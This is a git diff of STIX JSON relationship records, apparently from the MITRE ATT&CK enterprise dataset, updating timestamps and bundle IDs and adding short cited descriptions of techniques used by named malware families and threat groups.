diff --git a/enterprise-attack/relationship/relationship--f5a175ba-ed26-44f8-9828-c2aa0e1f7d86.json b/enterprise-attack/relationship/relationship--f5a175ba-ed26-44f8-9828-c2aa0e1f7d86.json
index 335c16d2bf..1abf2291e0 100644
--- a/enterprise-attack/relationship/relationship--f5a175ba-ed26-44f8-9828-c2aa0e1f7d86.json
+++ b/enterprise-attack/relationship/relationship--f5a175ba-ed26-44f8-9828-c2aa0e1f7d86.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d1ceca60-b78c-44a9-bf94-7982f56dc847",
+    "id": "bundle--224ba821-1b08-4703-b417-34cb5893a7b9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f5a175ba-ed26-44f8-9828-c2aa0e1f7d86",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy communicates with its C2 server over HTTP.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
diff --git a/enterprise-attack/relationship/relationship--f5acb12e-6d83-4628-9b1d-61f277a699b2.json b/enterprise-attack/relationship/relationship--f5acb12e-6d83-4628-9b1d-61f277a699b2.json
index d87b2b139b..a8cb7943fa 100644
--- a/enterprise-attack/relationship/relationship--f5acb12e-6d83-4628-9b1d-61f277a699b2.json
+++ b/enterprise-attack/relationship/relationship--f5acb12e-6d83-4628-9b1d-61f277a699b2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eb69a84d-d3b8-426d-870e-19e90a3409e5",
+    "id": "bundle--50fae770-7450-4c5c-995f-4d3cb4da36db",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f5acb12e-6d83-4628-9b1d-61f277a699b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Komplex payload is stored in a hidden directory at <code>/Users/Shared/.local/kextd</code>.",
             "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
diff --git a/enterprise-attack/relationship/relationship--f5fee3da-a3ef-4a81-a70c-9660ab1fb3d6.json b/enterprise-attack/relationship/relationship--f5fee3da-a3ef-4a81-a70c-9660ab1fb3d6.json
index 365989d7c9..7017d0dc83 100644
--- a/enterprise-attack/relationship/relationship--f5fee3da-a3ef-4a81-a70c-9660ab1fb3d6.json
+++ b/enterprise-attack/relationship/relationship--f5fee3da-a3ef-4a81-a70c-9660ab1fb3d6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--02102f91-4e29-424d-8714-30683708f65f",
+    "id": "bundle--058862b3-db58-4071-9948-1f6e18a903b9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f5fee3da-a3ef-4a81-a70c-9660ab1fb3d6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the deletFileFromPath function to delete a specified file using the NSFileManager:removeFileAtPath method.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
diff --git a/enterprise-attack/relationship/relationship--f6483534-196c-4540-a456-985594171cd8.json b/enterprise-attack/relationship/relationship--f6483534-196c-4540-a456-985594171cd8.json
new file mode 100644
index 0000000000..b1c41c2e97
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--f6483534-196c-4540-a456-985594171cd8.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--0f449e6d-7468-4900-91fd-e60cef1a3e43",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--f6483534-196c-4540-a456-985594171cd8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--cba5667e-e3c6-44a4-811c-266dbc00e440",
+            "target_ref": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--f64acb43-91b8-431a-ad0a-ad22afe5851a.json b/enterprise-attack/relationship/relationship--f64acb43-91b8-431a-ad0a-ad22afe5851a.json
index 4b116a5455..7f3bf7935c 100644
--- a/enterprise-attack/relationship/relationship--f64acb43-91b8-431a-ad0a-ad22afe5851a.json
+++ b/enterprise-attack/relationship/relationship--f64acb43-91b8-431a-ad0a-ad22afe5851a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--60c0221d-c598-425a-ad67-d8eb37f1c6a1",
+    "id": "bundle--d03187aa-6cfd-4783-9b77-7983feed8c29",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f64acb43-91b8-431a-ad0a-ad22afe5851a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu is capable of loading executable code via process hollowing.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--f653eb7d-7027-4161-9071-b52336bd4fbc.json b/enterprise-attack/relationship/relationship--f653eb7d-7027-4161-9071-b52336bd4fbc.json
index 6a4aa88433..98eca3b76e 100644
--- a/enterprise-attack/relationship/relationship--f653eb7d-7027-4161-9071-b52336bd4fbc.json
+++ b/enterprise-attack/relationship/relationship--f653eb7d-7027-4161-9071-b52336bd4fbc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--995b0a19-4239-42b7-9e04-efa6b6cccfb9",
+    "id": "bundle--af933aea-7963-4331-8bc6-ded06d259500",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f653eb7d-7027-4161-9071-b52336bd4fbc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke uses an event filter in WMI code to execute a previously dropped executable shortly after system startup.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--f661bda3-d524-44b3-aeb0-d8dd8879a569.json b/enterprise-attack/relationship/relationship--f661bda3-d524-44b3-aeb0-d8dd8879a569.json
new file mode 100644
index 0000000000..d5b610df82
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--f661bda3-d524-44b3-aeb0-d8dd8879a569.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--4d8f72e9-d155-4c30-8bb7-84513b37c94d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--f661bda3-d524-44b3-aeb0-d8dd8879a569",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can copy files to remote machines.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "external_references": [
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--f6915cfa-4c11-4830-bcd8-aa648596b895.json b/enterprise-attack/relationship/relationship--f6915cfa-4c11-4830-bcd8-aa648596b895.json
new file mode 100644
index 0000000000..d48b280900
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--f6915cfa-4c11-4830-bcd8-aa648596b895.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--951ed2d9-2a5a-4220-960c-41d1108f4d83",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--f6915cfa-4c11-4830-bcd8-aa648596b895",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "CopyKittens digitally signed an executable with a stolen certificate from legitimate company AI Squared.",
+            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+            "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--f696324d-7fb4-44ca-82dd-3385b55fbb80.json b/enterprise-attack/relationship/relationship--f696324d-7fb4-44ca-82dd-3385b55fbb80.json
index 09c16c9561..e16bdf88cf 100644
--- a/enterprise-attack/relationship/relationship--f696324d-7fb4-44ca-82dd-3385b55fbb80.json
+++ b/enterprise-attack/relationship/relationship--f696324d-7fb4-44ca-82dd-3385b55fbb80.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--93a7fd2f-0b75-4df1-935b-d33256f5c801",
+    "id": "bundle--7b2ca1ad-dbbd-47b0-9dc3-4bb0cb68f3bc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f696324d-7fb4-44ca-82dd-3385b55fbb80",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "If establishing persistence by installation as a new service fails, one variant of Elise establishes persistence for the created .exe file by setting the following Registry key: <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\svchost : %APPDATA%\\Microsoft\\Network\\svchost.exe</code>. Other variants have set the following Registry key for persistence: <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\imejp : [self]</code>. ",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
diff --git a/enterprise-attack/relationship/relationship--f6cb3957-be7f-41bf-ad44-3dfbd7a5dfe2.json b/enterprise-attack/relationship/relationship--f6cb3957-be7f-41bf-ad44-3dfbd7a5dfe2.json
new file mode 100644
index 0000000000..841f15be81
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--f6cb3957-be7f-41bf-ad44-3dfbd7a5dfe2.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--cae1c475-f71d-4923-98e2-c0e8d5e1d48a",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--f6cb3957-be7f-41bf-ad44-3dfbd7a5dfe2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects the victim's IP address.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--f6d23c00-158e-4e39-bf9b-f18344cd0151.json b/enterprise-attack/relationship/relationship--f6d23c00-158e-4e39-bf9b-f18344cd0151.json
index 0fa9b713f9..daa02663e0 100644
--- a/enterprise-attack/relationship/relationship--f6d23c00-158e-4e39-bf9b-f18344cd0151.json
+++ b/enterprise-attack/relationship/relationship--f6d23c00-158e-4e39-bf9b-f18344cd0151.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ae7b82f0-0012-4507-9720-2a553b490c8f",
+    "id": "bundle--e41e99ef-3023-4deb-b786-0dc42abfb503",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f6d23c00-158e-4e39-bf9b-f18344cd0151",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can capture screenshots.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--f6d23c6b-01c8-4bea-9bc6-2c66fbbbd3ae.json b/enterprise-attack/relationship/relationship--f6d23c6b-01c8-4bea-9bc6-2c66fbbbd3ae.json
new file mode 100644
index 0000000000..ebf8d8c283
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--f6d23c6b-01c8-4bea-9bc6-2c66fbbbd3ae.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--881c0c18-d77d-4594-a374-ad62216ddbae",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--f6d23c6b-01c8-4bea-9bc6-2c66fbbbd3ae",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--f72d9605-eea6-4ed4-8502-231d4c21431f.json b/enterprise-attack/relationship/relationship--f72d9605-eea6-4ed4-8502-231d4c21431f.json
index 46bf08571a..fc02139a76 100644
--- a/enterprise-attack/relationship/relationship--f72d9605-eea6-4ed4-8502-231d4c21431f.json
+++ b/enterprise-attack/relationship/relationship--f72d9605-eea6-4ed4-8502-231d4c21431f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--768bf27f-96a7-4b31-9944-865a35da1209",
+    "id": "bundle--87e71f2d-4a1a-405a-8331-4e112d8b8312",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f72d9605-eea6-4ed4-8502-231d4c21431f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise injects DLL files into iexplore.exe.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
diff --git a/enterprise-attack/relationship/relationship--f73df541-6b55-42d1-aec3-53660fda1508.json b/enterprise-attack/relationship/relationship--f73df541-6b55-42d1-aec3-53660fda1508.json
index 741074f38f..d35c0d12f6 100644
--- a/enterprise-attack/relationship/relationship--f73df541-6b55-42d1-aec3-53660fda1508.json
+++ b/enterprise-attack/relationship/relationship--f73df541-6b55-42d1-aec3-53660fda1508.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--23467dd0-314e-4369-9181-446d8d8df8d6",
+    "id": "bundle--9d183f63-14da-47d7-9c68-96d0ff89ae42",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f73df541-6b55-42d1-aec3-53660fda1508",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Gamaredon Group has used various batch scripts to establish C2, download additional files, and conduct other functions.",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
diff --git a/enterprise-attack/relationship/relationship--f758836e-91b2-4651-ba72-d827553b668c.json b/enterprise-attack/relationship/relationship--f758836e-91b2-4651-ba72-d827553b668c.json
index fc3fbb0da0..621942c409 100644
--- a/enterprise-attack/relationship/relationship--f758836e-91b2-4651-ba72-d827553b668c.json
+++ b/enterprise-attack/relationship/relationship--f758836e-91b2-4651-ba72-d827553b668c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bc52ebe9-6009-4550-b7e6-63fd8128cced",
+    "id": "bundle--7b5c1d20-eb39-48ce-8906-357f87a06d81",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f758836e-91b2-4651-ba72-d827553b668c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POSHSPY uses a WMI event subscription to establish persistence.",
             "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
diff --git a/enterprise-attack/relationship/relationship--f76355cb-9aa5-403c-aae4-8faed799ac31.json b/enterprise-attack/relationship/relationship--f76355cb-9aa5-403c-aae4-8faed799ac31.json
index 85e94bb556..09268eb3a4 100644
--- a/enterprise-attack/relationship/relationship--f76355cb-9aa5-403c-aae4-8faed799ac31.json
+++ b/enterprise-attack/relationship/relationship--f76355cb-9aa5-403c-aae4-8faed799ac31.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5fe3ee0d-7227-4e6a-8ae1-b63b5d253020",
+    "id": "bundle--4a39d456-4ffb-4180-89df-481aa909a5d6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f76355cb-9aa5-403c-aae4-8faed799ac31",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Skeleton Key is used to patch an enterprise domain controller authentication process with a backdoor password. It allows adversaries to bypass the standard authentication system to use a defined password for all accounts authenticating to that domain controller.",
             "source_ref": "malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49",
diff --git a/enterprise-attack/relationship/relationship--f7740e3c-c143-40b7-a8da-e797f5d74b50.json b/enterprise-attack/relationship/relationship--f7740e3c-c143-40b7-a8da-e797f5d74b50.json
index 458293a228..2add129fc8 100644
--- a/enterprise-attack/relationship/relationship--f7740e3c-c143-40b7-a8da-e797f5d74b50.json
+++ b/enterprise-attack/relationship/relationship--f7740e3c-c143-40b7-a8da-e797f5d74b50.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b7060ee8-313a-4602-9b85-4d44aceac2b0",
+    "id": "bundle--a0297db0-63d8-4068-8c6d-0f4ba9cf5f20",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f7740e3c-c143-40b7-a8da-e797f5d74b50",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer monitors victims for insertion of removable drives. When dropped onto a second victim, it also enumerates drives connected to the system.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
diff --git a/enterprise-attack/relationship/relationship--f81274dc-2f5b-47f7-b91f-70a4ebdfde95.json b/enterprise-attack/relationship/relationship--f81274dc-2f5b-47f7-b91f-70a4ebdfde95.json
new file mode 100644
index 0000000000..b8664c2c01
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--f81274dc-2f5b-47f7-b91f-70a4ebdfde95.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--a16b7278-42be-4646-894a-e6e1c57f077c",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--f81274dc-2f5b-47f7-b91f-70a4ebdfde95",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth splits data into chunks up to 23 bytes and sends the data in DNS queries to its C2 server.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--f81df2c8-1edd-4734-a1c9-cca6e4c56607.json b/enterprise-attack/relationship/relationship--f81df2c8-1edd-4734-a1c9-cca6e4c56607.json
index 1888561367..2596098376 100644
--- a/enterprise-attack/relationship/relationship--f81df2c8-1edd-4734-a1c9-cca6e4c56607.json
+++ b/enterprise-attack/relationship/relationship--f81df2c8-1edd-4734-a1c9-cca6e4c56607.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eb50b8cc-005e-45dc-be37-f11208ddcc4e",
+    "id": "bundle--12f1bfe2-e67a-4bfb-aaef-652b72563808",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f81df2c8-1edd-4734-a1c9-cca6e4c56607",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet has the ability to change firewall settings to allow a plug-in to be downloaded.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
diff --git a/enterprise-attack/relationship/relationship--f837cc68-8715-4301-ae15-bf89c8b1f7ee.json b/enterprise-attack/relationship/relationship--f837cc68-8715-4301-ae15-bf89c8b1f7ee.json
index bde1e151da..90bfc6f48c 100644
--- a/enterprise-attack/relationship/relationship--f837cc68-8715-4301-ae15-bf89c8b1f7ee.json
+++ b/enterprise-attack/relationship/relationship--f837cc68-8715-4301-ae15-bf89c8b1f7ee.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8f66d37d-7014-4a7f-8648-24d51bcad835",
+    "id": "bundle--ab73faed-229c-4da4-9365-96f99ec22144",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f837cc68-8715-4301-ae15-bf89c8b1f7ee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.031Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Axiom group has used other forms of obfuscation, include commingling legitimate traffic with communications traffic so that network streams appear legitimate.",
             "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
diff --git a/enterprise-attack/relationship/relationship--f865403f-5b4a-4e5a-bb50-8d416ad36db4.json b/enterprise-attack/relationship/relationship--f865403f-5b4a-4e5a-bb50-8d416ad36db4.json
index aa5f48325f..8f06494138 100644
--- a/enterprise-attack/relationship/relationship--f865403f-5b4a-4e5a-bb50-8d416ad36db4.json
+++ b/enterprise-attack/relationship/relationship--f865403f-5b4a-4e5a-bb50-8d416ad36db4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9e939ed3-93d6-4823-a5e3-659e0aaa0769",
+    "id": "bundle--6386ec9e-1ac2-4a3e-b417-618594b12c63",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f865403f-5b4a-4e5a-bb50-8d416ad36db4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang performs operating system information discovery using <code>systeminfo</code> commands.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
diff --git a/enterprise-attack/relationship/relationship--f879eea1-2a05-484d-adbb-c3504813fc5d.json b/enterprise-attack/relationship/relationship--f879eea1-2a05-484d-adbb-c3504813fc5d.json
index b83d7c221e..1fc7a292e7 100644
--- a/enterprise-attack/relationship/relationship--f879eea1-2a05-484d-adbb-c3504813fc5d.json
+++ b/enterprise-attack/relationship/relationship--f879eea1-2a05-484d-adbb-c3504813fc5d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c622fe54-3eb5-421d-ae3d-b11695419f26",
+    "id": "bundle--6c4d9605-7366-4ba7-9f18-ede5679ffd97",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f879eea1-2a05-484d-adbb-c3504813fc5d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
             "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
diff --git a/enterprise-attack/relationship/relationship--f8a90328-b7ee-474a-9773-f5bf501defd3.json b/enterprise-attack/relationship/relationship--f8a90328-b7ee-474a-9773-f5bf501defd3.json
index 7f89aa8e7c..fd07b88ae8 100644
--- a/enterprise-attack/relationship/relationship--f8a90328-b7ee-474a-9773-f5bf501defd3.json
+++ b/enterprise-attack/relationship/relationship--f8a90328-b7ee-474a-9773-f5bf501defd3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d08c7e64-60f4-4025-acf8-5f164b9b95af",
+    "id": "bundle--8c17ae14-ff1c-4e0d-a62a-7c46c4904fe9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f8a90328-b7ee-474a-9773-f5bf501defd3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mivast has the capability to open a remote shell and run basic commands.",
             "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
